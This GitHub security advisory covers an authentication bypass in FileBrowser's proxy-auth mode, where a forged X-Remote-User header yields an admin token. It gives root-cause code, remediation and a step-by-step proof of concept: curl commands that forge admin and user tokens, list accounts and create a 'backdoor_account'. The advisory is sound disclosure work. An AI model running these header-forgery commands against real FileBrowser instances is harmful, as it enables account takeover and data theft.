Skip to content

File Browser: Authentication Bypass via Proxy Auth Header Forgery

Critical severity GitHub Reviewed Published Jun 3, 2026 in filebrowser/filebrowser • Updated Jul 10, 2026

Package

gomod github.com/filebrowser/filebrowser/v2 (Go)

Affected versions

>= 2.0.0-rc.1, <= 2.63.18

Patched versions

None

Description

Summary

When FileBrowser is configured with proxy authentication (auth.method=proxy), any unauthenticated attacker who can reach the server directly can impersonate any user - including admin - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to automatically create a new user account, providing an account creation primitive with no authorization.

This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.

Severity

HIGH - CVSS 3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

Affected Component

  • File: auth/proxy.go, lines 21-28
  • CWE: CWE-287 (Improper Authentication), CWE-290 (Authentication Bypass by Spoofing)
  • Affected versions: All versions supporting auth.method=proxy

Prerequisite: Proxy Auth Must Be Enabled

This vulnerability is NOT exploitable on default configuration (auth.method=json). It requires the administrator to have configured proxy authentication mode. However, this is a common production deployment pattern - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication:

  • nginx + Authelia / Authentik
  • Traefik + OAuth2 Proxy
  • Caddy + forward_auth
  • Apache + mod_auth_ldap

In these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., X-Remote-User). FileBrowser trusts this header to identify the user.

Deployment Scenario Exploitable?
Default install (auth.method=json) No — JSON auth uses password verification
auth.method=proxy + FileBrowser only reachable via proxy (bound to 127.0.0.1 or firewalled) No - attacker cannot reach the server directly
auth.method=proxy + FileBrowser port exposed to network Yes - full admin takeover

The third scenario is common because:

  • Docker containers publish ports to 0.0.0.0 by default (e.g., -p 8085:80)
  • Administrators expose the port for debugging, monitoring, or health checks
  • Cloud deployments may have misconfigured security groups or load balancers
  • Internal networks often lack strict micro-segmentation

The core issue is that the code itself has zero defensive checks — no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement.

Root Cause

The ProxyAuth.Auth() function unconditionally trusts the value of an HTTP request header (configured via auth.header, e.g. X-Remote-User) to determine the authenticated user's identity. There are three distinct problems in this code:

Problem 1: No Origin Validation

The function reads the header from any HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers.

File: auth/proxy.go, lines 21-28:

func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
    username := r.Header.Get(a.Header)  // <-- reads attacker-controlled header, no origin check
    user, err := usr.Get(srv.Root, username)
    if errors.Is(err, fberrors.ErrNotExist) {
        return a.createUser(usr, setting, srv, username)
    }
    return user, err  // <-- returns the user object, no password verification
}

There is no call to verify r.RemoteAddr against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value.

Problem 2: No Password Verification

Unlike JSON auth (auth/json.go) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The loginHandler in http/auth.go then mints a valid JWT for this user:

File: http/auth.go, lines 121-137:

func loginHandler(tokenExpireTime time.Duration) handleFunc {
    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        auther, err := d.store.Auth.Get(d.settings.AuthMethod)
        // ...
        user, err := auther.Auth(r, d.store.Users, d.settings, d.server)
        // No additional verification — if auther.Auth() returns a user, a JWT is minted
        return printToken(w, r, d, user, tokenExpireTime)  // <-- signs and returns JWT
    }
}

Problem 3: Automatic User Creation

If the username in the header doesn't exist in the database, createUser() is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory:

File: auth/proxy.go, lines 30-63:

func (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) {
    pwd, err := users.RandomPwd(randomPasswordLength)
    // ...
    user := &users.User{
        Username:     username,       // <-- attacker-controlled
        Password:     hashedRandomPassword,
        LockPassword: true,
    }
    setting.Defaults.Apply(user)      // <-- inherits default permissions (may include execute, create, etc.)
    // ...
    err = usr.Save(user)              // <-- persisted to database
    return user, nil
}

This auto-creation has no opt-in flag — it is always active when proxy auth is enabled.

Complete Attack Flow

Attacker sends:   POST /api/login  +  Header: X-Remote-User: admin
                                         |
loginHandler()                           |
  |-> d.store.Auth.Get("proxy")         |
  |-> auther.Auth(r, ...)               |
        |-> ProxyAuth.Auth()             |
              |-> r.Header.Get("X-Remote-User")  ->  "admin"     (attacker-controlled)
              |-> usr.Get(root, "admin")          ->  admin user  (found in DB)
              |-> return user, nil                ->  no password check
  |-> printToken(w, r, d, user, ...)    |
        |-> jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}})
        |-> token.SignedString(key)     ->  valid admin JWT returned to attacker

Proof of Concept

Here is Log testing using Low Privileges Account attacker, get forbidden
Login as low priv user then get the auth token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"

root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
  -H "X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"
403 Forbidden
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: admin")
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
  -H "X-Auth: $FORGED_TOKEN" | python3 -m json.tool
{
    "signup": false,
    "hideLoginButton": true,
    "createUserDir": false,
    "minimumPasswordLength": 12,
    "userHomeBasePath": "/users",
    "defaults": {
        "scope": ".",
        "locale": "en",
        "viewMode": "mosaic",
        "singleClick": false,
        "redirectAfterCopyMove": true,
        "sorting": {
            "by": "",
            "asc": false
        },
        "perm": {
            "admin": false,
            "execute": true,
            "create": true,
            "rename": true,
            "modify": true,
            "delete": true,
            "share": true,
            "download": true
        },
        "commands": [],
        "hideDotfiles": false,
        "dateFormat": false,
        "aceEditorTheme": ""
    },
    "authMethod": "proxy",
    "rules": [],
    "branding": {
        "name": "",
        "disableExternal": false,
        "disableUsedPercentage": false,
        "files": "",
        "theme": "",
        "color": ""
    },
    "tus": {
        "chunkSize": 10485760,
        "retryCount": 5
    },
    "shell": [
        "/bin/sh",
        "-c"
    ],
    "commands": {
        "after_copy": [],
        "after_delete": [],
        "after_rename": [],
        "after_save": [],
        "after_upload": [],
        "before_copy": [],
        "before_delete": [],
        "before_rename": [],
        "before_save": [],
        "before_upload": []
    }
}
root@LAPTOP-VUMRCEKO:~#

image

Prerequisites

  • FileBrowser with proxy auth enabled:
    filebrowser config set --auth.method=proxy --auth.header=X-Remote-User
  • Server is reachable directly (not exclusively behind the reverse proxy)

Step 1: Confirm attacker (non-admin) is blocked

# Using a legitimate non-admin JWT token:
curl -s http://localhost:8085/api/settings \
  -H "X-Auth: <ATTACKER_JWT_TOKEN>"

Result: 403 Forbidden — non-admin users cannot access /api/settings

Step 2: Forge admin identity — no credentials needed

# Just one header, no password:
FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: admin")

echo "$FORGED_TOKEN"
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)

Result: Valid JWT token returned for admin user (ID: 1, perm.admin: true)

Step 3: Access admin-only endpoints with forged token

# Read full server configuration (admin-only):
curl -s http://localhost:8085/api/settings \
  -H "X-Auth: $FORGED_TOKEN"

Result: 200 OK - complete server settings returned:

{
    "authMethod": "proxy",
    "shell": ["/bin/sh", "-c"],
    "signup": false,
    "defaults": { "perm": { "admin": false, "execute": true, ... } },
    ...
}

Step 4: Enumerate all user accounts

curl -s http://localhost:8085/api/users \
  -H "X-Auth: $FORGED_TOKEN"

Result: All user accounts with full details (usernames, permissions, scopes, commands)

Step 5: Impersonate any other user

# Impersonate "testuser" — access their files without knowing their password:
VICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: testuser")

curl -s http://localhost:8085/api/resources/ \
  -H "X-Auth: $VICTIM_TOKEN"

Result: Full file listing of testuser's scope

Step 6: Auto-create a new user account

# This username doesn't exist — server creates it automatically:
NEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: backdoor_account")

Result: New user backdoor_account created in the database with default permissions, JWT returned

Validated Results

Tested against filebrowser/filebrowser:latest Docker image on 2026-03-09:

Test Result
Attacker token (non-admin) -> GET /api/settings 403 Forbidden (blocked)
Forged header X-Remote-User: admin -> POST /api/login 200 OK — valid admin JWT (608 bytes)
Forged admin token -> GET /api/settings 200 OK — full server config returned
Forged admin token -> GET /api/users 200 OK — all user accounts listed
Forged header X-Remote-User: testuser 200 OK — testuser JWT, files accessible
Forged header X-Remote-User: nonexistent_user 200 OK — new user auto-created, JWT returned

Impact

An unauthenticated attacker who can reach the FileBrowser instance directly can:

  1. Full admin takeover — impersonate the admin user and gain complete control
  2. Read all server settings — shell configuration, permissions, branding, rules
  3. Enumerate and impersonate all users — access every user's files without credentials
  4. Create unlimited backdoor accounts — auto-creation generates persistent accounts
  5. Modify server configuration — enable command execution, change shell, alter rules
  6. Chain with other vulnerabilities — gain admin access -> enable shell mode -> achieve RCE

Attack cost: Zero credentials. One HTTP header.

Suggested Remediation

Fix 1: Add trusted proxy IP validation (recommended)

type ProxyAuth struct {
    Header         string   `json:"header"`
    TrustedProxies []string `json:"trustedProxies"` // New: list of trusted proxy IPs/CIDRs
}

func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
    // Verify request originates from a trusted reverse proxy
    clientIP := realip.FromRequest(r)
    if !a.isTrustedProxy(clientIP) {
        return nil, fmt.Errorf("proxy auth: request from untrusted source %s", clientIP)
    }

    username := r.Header.Get(a.Header)
    if username == "" {
        return nil, os.ErrPermission
    }

    user, err := usr.Get(srv.Root, username)
    if errors.Is(err, fberrors.ErrNotExist) {
        if a.AutoCreateUsers {  // Make opt-in
            return a.createUser(usr, setting, srv, username)
        }
        return nil, os.ErrPermission
    }
    return user, err
}

Fix 2: Make auto-user-creation opt-in

Add a configuration flag auth.proxy.createUsers (default: false) so administrators must explicitly enable automatic account creation.

Fix 3: Documentation warning

Clearly document that when using proxy auth:

  • FileBrowser MUST NOT be directly accessible from untrusted networks
  • Bind to 127.0.0.1 or use firewall rules to ensure only the reverse proxy can reach it
  • The reverse proxy MUST strip/overwrite the configured header from client requests

References

References

@hacdias hacdias published to filebrowser/filebrowser Jun 3, 2026
Published by the National Vulnerability Database Jun 25, 2026
Published to the GitHub Advisory Database Jul 10, 2026
Reviewed Jul 10, 2026
Last updated Jul 10, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(26th percentile)

Weaknesses

Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Learn more on MITRE.

Authentication Bypass by Spoofing

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks. Learn more on MITRE.

CVE ID

CVE-2026-54089

GHSA ID

GHSA-xqp3-jq6g-x3qm

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.